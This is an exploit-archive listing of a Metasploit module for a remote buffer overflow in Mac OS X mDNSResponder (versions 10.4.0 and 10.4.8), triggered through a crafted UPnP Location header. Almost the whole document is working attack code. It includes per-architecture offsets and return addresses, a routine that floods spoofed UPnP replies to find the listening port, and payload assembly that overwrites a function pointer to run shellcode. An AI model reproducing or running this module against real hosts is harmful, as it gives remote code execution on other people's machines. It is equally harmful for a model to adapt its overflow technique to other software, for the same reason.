mDNSResponder 10.4.0, 10.4.8 UPnP Location Overflow (OS X)

2009-10-28T00:00:00
ID 1337DAY-ID-9570
Type zdt
Reporter 0day Today Team
Modified 2009-10-28T00:00:00

Description

Exploit for unknown platform in category remote exploits

                                        
                                            ==========================================================
mDNSResponder 10.4.0, 10.4.8 UPnP Location Overflow (OS X)
==========================================================


# Title: mDNSResponder 10.4.0, 10.4.8 UPnP Location Overflow (OS X)
# CVE-ID: ()
# OSVDB-ID: ()
# Author: n/a
# Published: 2009-10-28
# Verified: yes


view source
print?
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  include Exploit::Remote::Udp
 
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',
      'Platform' => 'osx',
      'DefaultOptions' => {
        'SRVPORT' => 1900,
        'RPORT' => 0
      },
      'Targets' => [
        [ '10.4.8 x86', { # mDNSResponder-108.2
          'Arch'                   => ARCH_X86,
 
          # Offset to mDNSStorage structure
          'Offset'                 => 21000,
          'Magic'                  => 0x8fe510a0,
          'g_szRouterHostPortDesc' => 0x53dc0,
          }
        ],
        [ '10.4.0 PPC', { # mDNSResponder-107
          'Arch'    => ARCH_PPC,
          'Offset'  => 21000,
          'Magic'   => 0x8fe51f4c,
          'Ret'     => 0x8fe41af8,
          }
        ],
      ],
      'DefaultTarget' => 1,
 
      'Payload' => {
        'BadChars' => "\x00\x3a\x2f",
        'StackAdjustment' => 0,
        'Space' => 468
      }
    ))
 
    register_options([
      Opt::LHOST(),
      OptPort.new('SRVPORT',
        [true, "The UPNP server port to listen on", 1900])
    ], self.class)
       
    @mutex = Mutex.new()
    @found_upnp_port = false
    @key_to_port = Hash.new()
    @upnp_port = 0
    @client_socket = nil
  end
   
  def check
    #
    # TODO: Listen on two service ports, one a single character
    # shorter than the other (i.e 1900 and 19000).  If the copy was
    # truncated by strlcpy, it will connect to the service listening
    # on the shorter port number.
    #
    upnp_port = scan_for_upnp_port()
    if (upnp_port > 0)
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unsupported
    end
  end
   
  def upnp_server(server)
    client = server.accept()
    request = client.readline()
    if (request =~ /GET \/([\da-f]+).xml/)
      @mutex.synchronize {
        @found_upnp_port = true
        @upnp_port = @key_to_port[$1]
         
        # Important: Keep the client connection open
        @client_socket = client
      }
    end
  end
   
  def scan_for_upnp_port
    @upnp_port = 0
    @found_upnp_port = false
     
    upnp_port = 0
     
    # XXX: Do this in a more Metasploit-y way
    server = TCPServer.open(1900)
    server_thread = Thread.new { self.upnp_server(server) }
     
    begin
      socket = Rex::Socket.create_udp
       
      upnp_location =
        "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT']
       
      puts "[*] Listening for UPNP requests on: #{upnp_location}"
      puts "[*] Sending UPNP Discovery replies..."
       
      i = 49152;
      while i < 65536 && @mutex.synchronize { @found_upnp_port == false }
        key = sprintf("%.2x%.2x%.2x%.2x%.2x",
                      rand(255), rand(255), rand(255), rand(255), rand(255))
         
        @mutex.synchronize {
          @key_to_port[key] = i
        }
         
        upnp_reply =
          "HTTP/1.1 200 Ok\r\n" +
          "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
          "USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +
          "Location: #{upnp_location}/#{key}.xml\r\n\r\n"
         
        socket.sendto(upnp_reply, datastore['RHOST'], i)
         
        i += 1
      end
       
      @mutex.synchronize {
        if (@found_upnp_port)
          upnp_port = @upnp_port
        end
      }
    ensure
      server.close
      server_thread.join
    end
     
    return upnp_port
  end
   
  def exploit
    #
    # It is very important that we scan for the upnp port.  We must
    # receive the TCP connection and hold it open, otherwise the
    # code path that uses the overwritten function pointer most
    # likely won't be used.  Holding this connection increases the
    # chance that the code path will be used dramatically.
    #
    upnp_port = scan_for_upnp_port()
     
    if upnp_port == 0
      raise "Could not find listening UPNP UDP socket"
    end
     
    datastore['RPORT'] = upnp_port
     
    socket = connect_udp()
     
    if (target['Arch'] == ARCH_X86)
      space = "A" * target['Offset']
      space[0, payload.encoded.length] = payload.encoded
       
      pattern = Rex::Text.pattern_create(47)
      pattern[20, 4] = [target['Magic']].pack('V')
      pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]
       
      boom = space + pattern
      usn = ""
       
    elsif (target['Arch'] == ARCH_PPC)
      space = "A" * target['Offset']
       
      pattern = Rex::Text.pattern_create(48)
      pattern[20, 4] = [target['Magic']].pack('N')
       
      #
      # r26, r27, r30, r31 point to g_szUSN+556
      # Ret should be a branch to one of these registers
      # And we make sure to put our payload in the USN header
      #
      pattern[44, 4] = [target['Ret']].pack('N')
       
      boom = space + pattern
       
      #
      # Start payload at offset 556 within USN
      #
      usn = "A" * 556 + payload.encoded
    end
     
    upnp_reply =
      "HTTP/1.1 200 Ok\r\n" +
      "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
      "USN: #{usn}\r\n" +
      "Location: http://#{boom}\r\n\r\n"
     
    puts "[*] Sending evil UPNP response"
    socket.put(upnp_reply)
     
    puts "[*] Sleeping to give mDNSDaemonIdle() a chance to run"
    sleep(10)
     
    handler()
    disconnect_udp()
  end
end



#  0day.today [2018-01-02]  #